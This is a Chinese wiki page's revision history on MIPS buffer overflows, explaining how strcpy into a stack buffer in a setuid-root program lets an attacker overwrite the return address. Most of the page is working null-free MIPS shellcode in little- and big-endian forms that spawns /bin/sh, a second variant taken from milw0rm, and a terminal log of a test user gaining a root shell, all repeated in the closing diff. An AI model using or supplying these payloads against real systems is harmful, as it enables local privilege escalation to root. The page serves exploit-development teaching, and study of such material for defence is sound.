MIPS 缓冲区溢出 - 版本历史

2014年11月11日 (二) 04:55 Comcat

2014-11-11T04:55:47Z

Comcat：以“
有这样一个可执行程序 vic，它的属性为： -rwsr-xr-x 1 root comcat vic 它的拥有者是root，普通用户可以执行且执行时具有拥...”为内容创建页面

2013-01-17T10:54:59Z

以“ 有这样一个可执行程序 vic，它的属性为： -rwsr-xr-x 1 root comcat vic 它的拥有者是root，普通用户可以执行且执行时具有拥...”为内容创建页面

新页面

有这样一个可执行程序 vic，它的属性为：

-rwsr-xr-x 1 root comcat vic

它的拥有者是root，普通用户可以执行且执行时具有拥有者的权限（如系统中的 /usr/bin/passwd）。假设它的设计者把代码写成如下：

<pre>
#include <stdio.h>

int main(int argc, char *argv[])
{
char buf[100];
if(argc>1)
strcpy(buf, argv[1]);
return 0;
}
</pre>

其在main函数的栈上开辟了一个100字节的缓冲区。在 Linux 下，当一个函数调用其他函数时（非leaf函数）会将返回地址保存在栈上，而且就在buf上面不远处！

如果我们将下面这段代码改造，编译后，获取其机器码，然后转成字符串，且将该字符串的始地址作为参数传给 vic 之 main()，则其会将保存在栈上的返回地址覆盖成该字符串的起始处，那么当main函数返回时，将跳到我们构造的代码处，获取到一个具有root权限的shell：

<pre>
char *name[2];
setuid(0);
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
</pre>

其在 MIPS 上对应的机器机器码为：

<pre>
4002e0: 00842026 xor a0,a0,a0
4002e4: 24020fb7 li v0,4023
4002e8: 0000000c syscall
4002ec: 3c086e69 lui t0,0x6e69
4002f0: 3508622f ori t0,t0,0x622f
4002f4: 3c090068 lui t1,0x68
4002f8: 3529732f ori t1,t1,0x732f
4002fc: afa80000 sw t0,0(sp)
400300: afa90004 sw t1,4(sp)
400304: afbd0008 sw sp,8(sp)
400308: afa0000c sw zero,12(sp)
40030c: 03a02021 move a0,sp
400310: 23a50008 addi a1,sp,8
400314: 00003021 move a2,zero
400318: 24020fab li v0,4011
40031c: 0000000c syscall
</pre>

则：

<pre>
int shellcode_mips[]=
{
0x00842026,
0x24020fb7,
0x0000000c,
0x3c086e69,
0x3508622f,
0x3c090068,
0x3529732f,
0xafa80000,
0xafa90004,
0xafbd0008,
0xafa0000c,
0x03a02021,
0x23a50008,
0x00003021,
0x24020fab,
0x0000000c
};
</pre>

上面的思路在 x86 这类 CISC 上没有任何问题，因 x86 上对指令的编码极其紧凑，但对 MIPS 这类 RISC 处理器则有些困难，因为我们要构造一个字符串通过命令行参数传给 vic 之 main () ，而字符串之结尾是为一个 "0x00" (NULL) ，这个字节在 MIPS 的指令编码里随处可见，如 MIPS 上触发 system call 之 syscall 指令编码为 0x0000000c，其放在一个字符串里就是3个0x00，这个是在 MIPS 上构造 shellcode 之困难。

鉴于 MIPS 本身的设计，在其上构造 shellcode 需要死更多的脑细胞：

<pre>
char shellcode[] = {
"\x50\x73\x06\x24" /* li a2,0x7350 */
"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2, $0,-1 */
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xd7\xff\x0f\x24" /* li t7,-41 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\xe8\xff\xa5\x23" /* addi a1,sp,-24 */
"\xab\x0f\x02\x24" /* li v0,4011 */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh"
};
</pre>

构造的基本思想就是避免指令编码里出现 0x00，如 syscall 的编码一般为 0x0000000c，据 MIPS 规范，其编码的有效位为高 6 位（皆为 0）和低 6 位（为 0xc）中间 20 位是留给软件的 code 位，硬件不对这 20 位进行解码，因此就可以将其编码为 0x0101010c 或者 0x034748cc 皆可避免 0x00。

上面这段代码来自一个 Email 为：vaicebine at gmail dot com 兄弟，参考：http://www.milw0rm.com/shellcode/6265

此为小端 MIPS 所用，大端 MIPS 为：

<pre>
char shellcode[] = {
"\x24\x06\x73\x50" /* li a2,0x7350 */
"\x04\xd0\xff\xff" /* LB: bltzal a2,LB */
"\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */
"\x28\x06\xff\xff" /* slti a2, $0,-1 */
"\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */
"\x24\x0f\xff\xd7" /* li t7,-41 */
"\x01\xe0\x78\x27" /* nor t7,t7,zero */
"\x03\xef\x20\x21" /* addu a0,ra,t7 */
"\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */
"\xaf\xa0\xff\xec" /* sw zero,-20(sp) */
"\x23\xa5\xff\xe8" /* addi a1,sp,-24 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall */
"/bin/sh"
};
</pre>

上述大端 shellcode 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试通过：

<pre>
test@localhost:/home/test> cat cool.c
#include <stdio.h>

char shellcode[] = {
"\x30\x04\xff\xff" /* andi a0, zero, 0xffff */
"\x30\x05\xff\xff" /* andi a1, zero, 0xffff */
"\x34\x02\x0f\xe6" /* li v0, 0xfe6 */
"\x03\x49\x48\xcc" /* syscall 0xd2523 */
"\x24\x06\x73\x50" /* li a2,0x7350 */
"\x04\xd0\xff\xff" /* LB: bltzal a2,LB */
"\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */
"\x28\x06\xff\xff" /* slti a2, $0,-1 */
"\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */
"\x24\x0f\xff\xd7" /* li t7,-41 */
"\x01\xe0\x78\x27" /* nor t7,t7,zero */
"\x03\xef\x20\x21" /* addu a0,ra,t7 */
"\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */
"\xaf\xa0\xff\xec" /* sw zero,-20(sp) */
"\x23\xa5\xff\xe8" /* addi a1,sp,-24 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall */
"/bin/sh"
};

int main(int argc, char *argv[])
{
void (*p)(void);
p = shellcode;
printf("shellcode size %d\n", sizeof(shellcode));
printf("shellcode addr 0x%08x\n", shellcode);
p();
return 0;
}

test@localhost:/home/test> ls -lh
total 8.0K
-rwsr-xr-x 1 root test 5.9K Sep 1 2009 cool

test@localhost:/home/test> id
uid=500(test) gid=500(test) groups=500(test)

test@localhost:/home/test> ./cool
shellcode size 76
shellcode addr 0x10010970

sh-3.2# id
uid=0(root) gid=500(test) groups=500(test)

sh-3.2# cat /proc/cpuinfo
system type : EBT5800 (CN5860p2.3-800-NSP)
processor : 0
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available

processor : 1
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
......
......
......
processor : 15
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
</pre>

在 RMI XLR732 上得到 "Segmentation fault"，经查发现是因为 XLR732 的内核加了一个 fast system call 的特性，其使用 syscall 指令之中间 20 位 code 域来加速 system call 的处理，因此类似 0x0101010c 的编码会让内核进入一个不可用的入口地址处导致内存保护异常

此外，还有一可用 shellcode 为：

<pre>
char shellcode2[] = {
"\x30\x04\xff\xff" /* andi a0, zero, 0xffff */
"\x30\x05\xff\xff" /* andi a1, zero, 0xffff */
"\x34\x02\x0f\xe6" /* li v0, 0xfe6 */
"\x03\x49\x48\xcc" /* syscall 0xd2523 */
"\x04\x10\xff\xff" /* LB: bltzal zero, LB */
"\x24\x02\x0f\xab" /* li v0, 4011 */
"\x20\x46\xf0\x55" /* addi a2, v0, -4011 */
"\x23\xff\x06\x66" /* addi ra, ra, 1638 */
"\x23\xec\xf9\xc2" /* addi t0, ra, -1598 */
"\x23\xbd\x06\x66" /* addi sp, sp, 1638 */
"\xaf\xac\xf9\x9a" /* sw t0, -1638(sp) */
"\xaf\xa6\xf9\x9e" /* sw a2, -1634(sp) */
"\x23\xbd\xf9\x9a" /* addi sp, sp, -1638 */
"\x01\x80\x20\x21" /* move a0, t0 */
"\x03\xa0\x28\x21" /* move a1, sp */
"\x03\x44\xcd\xcc" /* syscall 0xd1337 */
"/bin/sh"
};
</pre>

这段代码来自：http://www.milw0rm.com/shellcode/1306

在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试也通过。

@@ 第6行： / 第6行： @@
 它的拥有者是root，普通用户可以执行且执行时具有拥有者的权限（如系统中的 /usr/bin/passwd）。假设它的设计者把代码写成如下：
-<pre>
+<source lang=c>
       #include <stdio.h>
@@ 第16行： / 第16行： @@
           return 0;
+      }
-</pre>
+</source>
@@ 第23行： / 第23行： @@
 如果我们将下面这段代码改造，编译后，获取其机器码，然后转成字符串，且将该字符串的始地址作为参数传给 vic 之 main()，则其会将保存在栈上的返回地址覆盖成该字符串的起始处，那么当main函数返回时，将跳到我们构造的代码处，获取到一个具有root权限的shell：
-<pre>
+<source lang=c>
       char *name[2];
       setuid(0);
@@ 第29行： / 第29行： @@
       name[1] = NULL;
       execve(name[0], name, NULL);
-</pre>
+</source>
 其在 MIPS 上对应的机器机器码为：
-<pre>
+<source lang=c>
 e0:   00842026    xor a0,a0,a0
 e4:   24020fb7    li  v0,4023
@@ 第51行： / 第51行： @@
 :   24020fab    li  v0,4011
 c:   0000000c    syscall
-</pre>
+</source>
 则：
-<pre>
+<source lang=c>
 int shellcode_mips[]=
+{
@@ 第76行： / 第76行： @@
 x0000000c
 };
-</pre>
+</source>
 上面的思路在 x86 这类 CISC 上没有任何问题，因 x86 上对指令的编码极其紧凑，但对 MIPS 这类 RISC 处理器则有些困难，因为我们要构造一个字符串通过命令行参数传给 vic 之  main () ，而字符串之结尾是为一个 "0x00"  (NULL) ，这个字节在 MIPS 的指令编码里随处可见，如 MIPS 上触发 system call 之 syscall 指令编码为 0x0000000c，其放在一个字符串里就是3个0x00，这个是在 MIPS 上构造 shellcode 之困难。
 鉴于 MIPS 本身的设计，在其上构造 shellcode 需要死更多的脑细胞：
-<pre>
+<source lang=c>
 char shellcode[] = {
                        "\x50\x73\x06\x24" /*     li      a2,0x7350             */
@@ 第99行： / 第101行： @@
                        "/bin/sh"
 };
-</pre>
+</source>
@@ 第108行： / 第110行： @@
 此为小端 MIPS 所用，大端 MIPS 为：
-<pre>
+<source lang=c>
 char shellcode[] = {
                        "\x24\x06\x73\x50" /*     li      a2,0x7350             */
@@ 第125行： / 第127行： @@
                        "/bin/sh"
 };
-</pre>
+</source>
 上述大端 shellcode 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试通过：
-<pre>
+<source lang=c>
 test@localhost:/home/test> cat cool.c
 #include <stdio.h>
@@ 第164行： / 第166行： @@
      return 0;
+}
+<source lang=bash>
 test@localhost:/home/test> ls -lh
 total 8.0K
@@ 第225行： / 第228行： @@
 VCED exceptions     : not available
 VCEI exceptions     : not available
-</pre>
+</source>
@@ 第232行： / 第235行： @@
 此外，还有一可用 shellcode 为：
-<pre>
+<source lang=c>
 char shellcode2[] = {
                        "\x30\x04\xff\xff" /*    andi    a0, zero, 0xffff    */
@@ 第252行： / 第255行： @@
                        "/bin/sh"
 };
-</pre>
+</source>
 这段代码来自：http://www.milw0rm.com/shellcode/1306
@@ 第258行： / 第261行： @@
 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试也通过。
 <br><br><br><br>

MIPS 缓冲区溢出 - 版本历史

2014年11月11日 (二) 04:55 Comcat

Comcat：以“ 有这样一个可执行程序 vic，它的属性为： -rwsr-xr-x 1 root comcat vic 它的拥有者是root，普通用户可以执行且执行时具有拥...”为内容创建页面

Comcat：以“
有这样一个可执行程序 vic，它的属性为： -rwsr-xr-x 1 root comcat vic 它的拥有者是root，普通用户可以执行且执行时具有拥...”为内容创建页面